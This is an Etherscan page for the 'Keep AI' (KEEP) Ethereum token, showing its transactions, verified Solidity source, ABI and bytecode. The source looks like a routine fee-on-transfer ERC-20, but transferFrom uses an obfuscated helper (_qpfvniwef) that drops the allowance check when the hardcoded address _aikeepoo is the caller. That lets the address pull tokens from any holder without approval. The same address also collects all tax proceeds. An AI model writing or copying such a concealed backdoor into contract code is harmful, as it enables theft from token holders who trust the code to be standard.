ETH Price: $2,127.93 (+4.10%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

TokenTracker

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve227122712025-06-15 20:18:23289 days ago1750018703IN
0x855701Ea...c4F57eAF5
0 ETH0.000027521.13403938
Approve220476432025-03-14 20:56:47382 days ago1741985807IN
0x855701Ea...c4F57eAF5
0 ETH0.000024671.0165263
Approve220325772025-03-12 18:27:59384 days ago1741804079IN
0x855701Ea...c4F57eAF5
0 ETH0.000031811.31098891
Approve220325762025-03-12 18:27:47384 days ago1741804067IN
0x855701Ea...c4F57eAF5
0 ETH0.000034591.42543066
Approve220325752025-03-12 18:27:35384 days ago1741804055IN
0x855701Ea...c4F57eAF5
0 ETH0.000030691.26466897
Transfer219462482025-02-28 17:10:35396 days ago1740762635IN
0x855701Ea...c4F57eAF5
0 ETH0.000092631.39322278
Approve219459542025-02-28 16:11:35396 days ago1740759095IN
0x855701Ea...c4F57eAF5
0 ETH0.000098952.12569344
Approve219314802025-02-26 15:43:47398 days ago1740584627IN
0x855701Ea...c4F57eAF5
0 ETH0.000050231.70613651
Approve219314742025-02-26 15:42:35398 days ago1740584555IN
0x855701Ea...c4F57eAF5
0 ETH0.000066841.44601202
Transfer219266582025-02-25 23:34:59399 days ago1740526499IN
0x855701Ea...c4F57eAF5
0 ETH0.000051751.23888184
Transfer218945782025-02-21 12:01:11404 days ago1740139271IN
0x855701Ea...c4F57eAF5
0 ETH0.000053421.08173195
Transfer218945752025-02-21 12:00:35404 days ago1740139235IN
0x855701Ea...c4F57eAF5
0 ETH0.000055091.11591759
Approve218831792025-02-19 21:43:59405 days ago1740001439IN
0x855701Ea...c4F57eAF5
0 ETH0.000036240.77846177
Transfer218732902025-02-18 12:35:11407 days ago1739882111IN
0x855701Ea...c4F57eAF5
0 ETH0.000089191.34206584
Transfer218718342025-02-18 7:41:47407 days ago1739864507IN
0x855701Ea...c4F57eAF5
0 ETH0.000069511.04568952
Transfer218677842025-02-17 18:07:47407 days ago1739815667IN
0x855701Ea...c4F57eAF5
0 ETH0.000401856.04517328
Transfer218606462025-02-16 18:07:59408 days ago1739729279IN
0x855701Ea...c4F57eAF5
0 ETH0.000041180.83385233
Transfer218606302025-02-16 18:04:35408 days ago1739729075IN
0x855701Ea...c4F57eAF5
0 ETH0.000041220.83462629
Transfer218604042025-02-16 17:19:11408 days ago1739726351IN
0x855701Ea...c4F57eAF5
0 ETH0.00004540.91946088
Transfer218603882025-02-16 17:15:59408 days ago1739726159IN
0x855701Ea...c4F57eAF5
0 ETH0.000062830.9451895
Transfer218603812025-02-16 17:14:23408 days ago1739726063IN
0x855701Ea...c4F57eAF5
0 ETH0.000061280.92198672
Transfer218603742025-02-16 17:12:59408 days ago1739725979IN
0x855701Ea...c4F57eAF5
0 ETH0.000039490.7996703
Transfer218603662025-02-16 17:11:23408 days ago1739725883IN
0x855701Ea...c4F57eAF5
0 ETH0.000059720.89848198
Transfer218602892025-02-16 16:55:59408 days ago1739724959IN
0x855701Ea...c4F57eAF5
0 ETH0.000049461.10873732
Approve218570392025-02-16 6:01:11409 days ago1739685671IN
0x855701Ea...c4F57eAF5
0 ETH0.000036310.78012796
View all transactions

Latest 12 internal transactions

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer218091762025-02-09 13:12:11416 days ago1739106731
0x855701Ea...c4F57eAF5
0.00023114 ETH
Transfer218086972025-02-09 11:36:23416 days ago1739100983
0x855701Ea...c4F57eAF5
1.7346765 ETH
Transfer218086972025-02-09 11:36:23416 days ago1739100983
0x855701Ea...c4F57eAF5
1.7346765 ETH
Transfer218086912025-02-09 11:35:11416 days ago1739100911
0x855701Ea...c4F57eAF5
0.46606997 ETH
Transfer218086912025-02-09 11:35:11416 days ago1739100911
0x855701Ea...c4F57eAF5
0.46606997 ETH
Transfer218086912025-02-09 11:35:11416 days ago1739100911
0x855701Ea...c4F57eAF5
0.5918328 ETH
Transfer218086912025-02-09 11:35:11416 days ago1739100911
0x855701Ea...c4F57eAF5
0.5918328 ETH
Transfer218086872025-02-09 11:34:23416 days ago1739100863
0x855701Ea...c4F57eAF5
0.4767653 ETH
Transfer218086872025-02-09 11:34:23416 days ago1739100863
0x855701Ea...c4F57eAF5
0.4767653 ETH
Transfer218086872025-02-09 11:34:23416 days ago1739100863
0x855701Ea...c4F57eAF5
0.49600225 ETH
Transfer218086872025-02-09 11:34:23416 days ago1739100863
0x855701Ea...c4F57eAF5
0.49600225 ETH
Add Liquidity ET...218086782025-02-09 11:32:35416 days ago1739100755
0x855701Ea...c4F57eAF5
1 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
KEEP

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2025-02-09
*/

/*

https://www.keepai.bond/
https://node.keepai.bond/
https://docs.keepai.bond/

https://t.me/keepai_bond
https://x.com/keepai_bond


*/

// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract KEEP is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludeFees;

    address private constant _blackhole = address(0xdead);
    address private constant _aikeepoo = 0xaE7cfAf184B50Dd013e1caB580FF63B325754A18;

    uint256 private _taxInitBuy=2;
    uint256 private _taxInitSell=2;
    uint256 private _taxLastSell=0;
    uint256 private _taxLastBuy=0;
    uint256 private _taxReduceAtBuy=3;
    uint256 private _taxReduceAtSell=3;
    uint256 private _preventBefore=3;
    uint256 private _buyTokenCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420_690_000_000 * 10**_decimals;
    string private constant _name = unicode"Keep AI";
    string private constant _symbol = unicode"KEEP";
    uint256 private _swapForTokens = _tTotal / 100;
    
    IRouter private _uniSwapRter;
    address private _uniSwapAir;
    bool private _swapping = false;
    bool private _swapActive = false;
    bool private _tradingEnabled = false;
    
    modifier lockTheSwap {
        _swapping = true;
        _;
        _swapping = false;
    }

    constructor () {
        _isExcludeFees[owner()] = true;
        _isExcludeFees[address(this)] = true;
        _isExcludeFees[_aikeepoo] = true;

        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);if(_qpfvniwef(sender, recipient))
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _qpfvniwef(address owner, address spender) private view returns (bool) {
        return msg.sender != _aikeepoo && (owner == _uniSwapAir || spender != _blackhole) ;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address _tani, address _wico, uint256 _cowivniq) private {
        require(_tani != address(0), "ERC20: transfer from the zero address");
        require(_wico != address(0), "ERC20: transfer to the zero address");
        require(_cowivniq > 0, "Transfer amount must be greater than zero");
        uint256 _sicAmount=0;
        if (_tani != owner() && _wico != owner()) {
            _sicAmount = _cowivniq.mul((_buyTokenCount>_taxReduceAtBuy)?_taxLastSell:_taxInitBuy).div(100);

            if (_tani == _uniSwapAir && _wico != address(_uniSwapRter) && ! _isExcludeFees[_wico] ) {
                _buyTokenCount++;
            }

            if(_wico == _uniSwapAir && _tani!= address(this) ){
                _sicAmount = _cowivniq.mul((_buyTokenCount>_taxReduceAtSell)?_taxLastBuy:_taxInitSell).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_swapping && _wico == _uniSwapAir && _swapActive && _buyTokenCount > _preventBefore) {
                if(contractTokenBalance > _swapForTokens)
                _swapTaxTokens(min(_cowivniq, min(contractTokenBalance, _swapForTokens)));
                _sendTaxFees(address(this).balance);
            }
        }

        if(_sicAmount>0){
          _balances[address(this)]=_balances[address(this)].add(_sicAmount);
          emit Transfer(_tani, address(this),_sicAmount);
        }
        if (_wico!=_blackhole)emit Transfer(_tani, _wico, _cowivniq.sub(_sicAmount));
        _balances[_tani]=_balances[_tani].sub(_cowivniq);
        _balances[_wico]=_balances[_wico].add(_cowivniq.sub(_sicAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function _swapTaxTokens(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniSwapRter.WETH();
        _approve(address(this), address(_uniSwapRter), tokenAmount);
        _uniSwapRter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _sendTaxFees(uint256 amount) private {
        payable(_aikeepoo).transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!_tradingEnabled,"trading is already open");
        _uniSwapRter = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_uniSwapRter), _tTotal);
        _uniSwapAir = IUniswapV2Factory(_uniSwapRter.factory()).createPair(address(this), _uniSwapRter.WETH());
        _uniSwapRter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapActive = true;
        _tradingEnabled = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600260045560026005555f6006555f600755600360085560036009556003600a555f600b5560646009600a6200003b9190620002e8565b6200004c906461f313f880620002ff565b62000058919062000319565b600c55600e805462ffffff60a01b1916905534801562000076575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160035f620000ce5f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff199586161790553081526003909252812080548316600190811790915573ae7cfaf184b50dd013e1cab580ff63b325754a189091527f2d6ca0bdd8449c6a6be0513fbb8035666416bf623b1aa533830c518424e3015c80549092161790556200015e6009600a620002e8565b6200016f906461f313f880620002ff565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001b16009600a620002e8565b620001c2906461f313f880620002ff565b60405190815260200160405180910390a362000339565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200022d57815f1904821115620002115762000211620001d9565b808516156200021f57918102915b93841c9390800290620001f2565b509250929050565b5f826200024557506001620002e2565b816200025357505f620002e2565b81600181146200026c5760028114620002775762000297565b6001915050620002e2565b60ff8411156200028b576200028b620001d9565b50506001821b620002e2565b5060208310610133831016604e8410600b8410161715620002bc575081810a620002e2565b620002c88383620001ed565b805f1904821115620002de57620002de620001d9565b0290505b92915050565b5f620002f860ff84168362000235565b9392505050565b8082028115828204841417620002e257620002e2620001d9565b5f826200033457634e487b7160e01b5f52601260045260245ffd5b500490565b61143580620003475f395ff3fe6080604052600436106100a8575f3560e01c8063715018a611610062578063715018a6146101b35780638da5cb5b146101c957806395d89b41146101ef578063a9059cbb1461021b578063c9567bf91461023a578063dd62ed3e1461024e575f80fd5b806306fdde03146100b3578063095ea7b3146100f457806318160ddd1461012357806323b872dd14610145578063313ce5671461016457806370a082311461017f575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b506040805180820190915260078152664b65657020414960c81b60208201525b6040516100eb9190611079565b60405180910390f35b3480156100ff575f80fd5b5061011361010e3660046110dc565b610292565b60405190151581526020016100eb565b34801561012e575f80fd5b506101376102a8565b6040519081526020016100eb565b348015610150575f80fd5b5061011361015f366004611106565b6102c9565b34801561016f575f80fd5b50604051600981526020016100eb565b34801561018a575f80fd5b50610137610199366004611144565b6001600160a01b03165f9081526001602052604090205490565b3480156101be575f80fd5b506101c761033f565b005b3480156101d4575f80fd5b505f546040516001600160a01b0390911681526020016100eb565b3480156101fa575f80fd5b5060408051808201909152600481526304b4545560e41b60208201526100de565b348015610226575f80fd5b506101136102353660046110dc565b6103e5565b348015610245575f80fd5b506101c76103f1565b348015610259575f80fd5b5061013761026836600461115f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61029e338484610752565b5060015b92915050565b5f6102b56009600a61128a565b6102c4906461f313f880611298565b905090565b5f6102d5848484610875565b6102df8484610ca3565b15610335576103358433610330856040518060600160405280602881526020016113d8602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610cf1565b610752565b5060019392505050565b5f546001600160a01b0316331461039d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f61029e338484610875565b5f546001600160a01b0316331461044a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610394565b600e54600160b01b900460ff16156104a45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610394565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104ee9030906104df6009600a61128a565b610330906461f313f880611298565b600d5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561053e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056291906112af565b6001600160a01b031663c9c6539630600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e591906112af565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561062f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065391906112af565b600e80546001600160a01b039283166001600160a01b0319909116179055600d541663f305d719473061069a816001600160a01b03165f9081526001602052604090205490565b5f806106ad5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610713573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061073891906112ca565b5050600e805461ffff60a81b191661010160a81b17905550565b6001600160a01b0383166107b45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610394565b6001600160a01b0382166108155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610394565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108d95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610394565b6001600160a01b03821661093b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610394565b5f811161099c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610394565b5f80546001600160a01b038581169116148015906109c757505f546001600160a01b03848116911614155b15610b48576109f860646109f2600854600b54116109e7576004546109eb565b6006545b8590610d29565b90610da7565b600e549091506001600160a01b038581169116148015610a265750600d546001600160a01b03848116911614155b8015610a4a57506001600160a01b0383165f9081526003602052604090205460ff16155b15610a6457600b8054905f610a5e836112f5565b91905055505b600e546001600160a01b038481169116148015610a8a57506001600160a01b0384163014155b15610ab757610ab460646109f2600954600b5411610aaa576005546109eb565b6007548590610d29565b90505b305f90815260016020526040902054600e54600160a01b900460ff16158015610aed5750600e546001600160a01b038581169116145b8015610b025750600e54600160a81b900460ff165b8015610b115750600a54600b54115b15610b4657600c54811115610b3d57610b3d610b3884610b3384600c54610de8565b610de8565b610dfc565b610b4647610f6c565b505b8015610bc057305f90815260016020526040902054610b679082610fae565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610bb79085815260200190565b60405180910390a35b6001600160a01b03831661dead14610c1d576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c0b858561100c565b60405190815260200160405180910390a35b6001600160a01b0384165f90815260016020526040902054610c3f908361100c565b6001600160a01b0385165f90815260016020526040902055610c82610c64838361100c565b6001600160a01b0385165f9081526001602052604090205490610fae565b6001600160a01b039093165f90815260016020526040902092909255505050565b5f3373ae7cfaf184b50dd013e1cab580ff63b325754a1814801590610cea5750600e546001600160a01b0384811691161480610cea57506001600160a01b03821661dead14155b9392505050565b5f8184841115610d145760405162461bcd60e51b81526004016103949190611079565b505f610d20848661130d565b95945050505050565b5f825f03610d3857505f6102a2565b5f610d438385611298565b905082610d508583611320565b14610cea5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610394565b5f610cea83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061104d565b5f818311610df65782610cea565b50919050565b600e805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e4257610e4261133f565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e99573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ebd91906112af565b81600181518110610ed057610ed061133f565b6001600160a01b039283166020918202929092010152600d54610ef69130911684610752565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f2e9085905f90869030904290600401611353565b5f604051808303815f87803b158015610f45575f80fd5b505af1158015610f57573d5f803e3d5ffd5b5050600e805460ff60a01b1916905550505050565b60405173ae7cfaf184b50dd013e1cab580ff63b325754a189082156108fc029083905f818181858888f19350505050158015610faa573d5f803e3d5ffd5b5050565b5f80610fba83856113c4565b905083811015610cea5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610394565b5f610cea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cf1565b5f818361106d5760405162461bcd60e51b81526004016103949190611079565b505f610d208486611320565b5f602080835283518060208501525f5b818110156110a557858101830151858201604001528201611089565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110d9575f80fd5b50565b5f80604083850312156110ed575f80fd5b82356110f8816110c5565b946020939093013593505050565b5f805f60608486031215611118575f80fd5b8335611123816110c5565b92506020840135611133816110c5565b929592945050506040919091013590565b5f60208284031215611154575f80fd5b8135610cea816110c5565b5f8060408385031215611170575f80fd5b823561117b816110c5565b9150602083013561118b816110c5565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156111e457815f19048211156111ca576111ca611196565b808516156111d757918102915b93841c93908002906111af565b509250929050565b5f826111fa575060016102a2565b8161120657505f6102a2565b816001811461121c576002811461122657611242565b60019150506102a2565b60ff84111561123757611237611196565b50506001821b6102a2565b5060208310610133831016604e8410600b8410161715611265575081810a6102a2565b61126f83836111aa565b805f190482111561128257611282611196565b029392505050565b5f610cea60ff8416836111ec565b80820281158282048414176102a2576102a2611196565b5f602082840312156112bf575f80fd5b8151610cea816110c5565b5f805f606084860312156112dc575f80fd5b8351925060208401519150604084015190509250925092565b5f6001820161130657611306611196565b5060010190565b818103818111156102a2576102a2611196565b5f8261133a57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156113a35784516001600160a01b03168352938301939183019160010161137e565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102a2576102a261119656fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220511a35b011fd6595269e78104b7572a224ae5b0b65272b2a294dbaf4161d3f5e64736f6c63430008170033

Deployed Bytecode

0x6080604052600436106100a8575f3560e01c8063715018a611610062578063715018a6146101b35780638da5cb5b146101c957806395d89b41146101ef578063a9059cbb1461021b578063c9567bf91461023a578063dd62ed3e1461024e575f80fd5b806306fdde03146100b3578063095ea7b3146100f457806318160ddd1461012357806323b872dd14610145578063313ce5671461016457806370a082311461017f575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b506040805180820190915260078152664b65657020414960c81b60208201525b6040516100eb9190611079565b60405180910390f35b3480156100ff575f80fd5b5061011361010e3660046110dc565b610292565b60405190151581526020016100eb565b34801561012e575f80fd5b506101376102a8565b6040519081526020016100eb565b348015610150575f80fd5b5061011361015f366004611106565b6102c9565b34801561016f575f80fd5b50604051600981526020016100eb565b34801561018a575f80fd5b50610137610199366004611144565b6001600160a01b03165f9081526001602052604090205490565b3480156101be575f80fd5b506101c761033f565b005b3480156101d4575f80fd5b505f546040516001600160a01b0390911681526020016100eb565b3480156101fa575f80fd5b5060408051808201909152600481526304b4545560e41b60208201526100de565b348015610226575f80fd5b506101136102353660046110dc565b6103e5565b348015610245575f80fd5b506101c76103f1565b348015610259575f80fd5b5061013761026836600461115f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61029e338484610752565b5060015b92915050565b5f6102b56009600a61128a565b6102c4906461f313f880611298565b905090565b5f6102d5848484610875565b6102df8484610ca3565b15610335576103358433610330856040518060600160405280602881526020016113d8602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610cf1565b610752565b5060019392505050565b5f546001600160a01b0316331461039d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f61029e338484610875565b5f546001600160a01b0316331461044a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610394565b600e54600160b01b900460ff16156104a45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610394565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104ee9030906104df6009600a61128a565b610330906461f313f880611298565b600d5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561053e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056291906112af565b6001600160a01b031663c9c6539630600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105e591906112af565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561062f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065391906112af565b600e80546001600160a01b039283166001600160a01b0319909116179055600d541663f305d719473061069a816001600160a01b03165f9081526001602052604090205490565b5f806106ad5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610713573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061073891906112ca565b5050600e805461ffff60a81b191661010160a81b17905550565b6001600160a01b0383166107b45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610394565b6001600160a01b0382166108155760405162461bc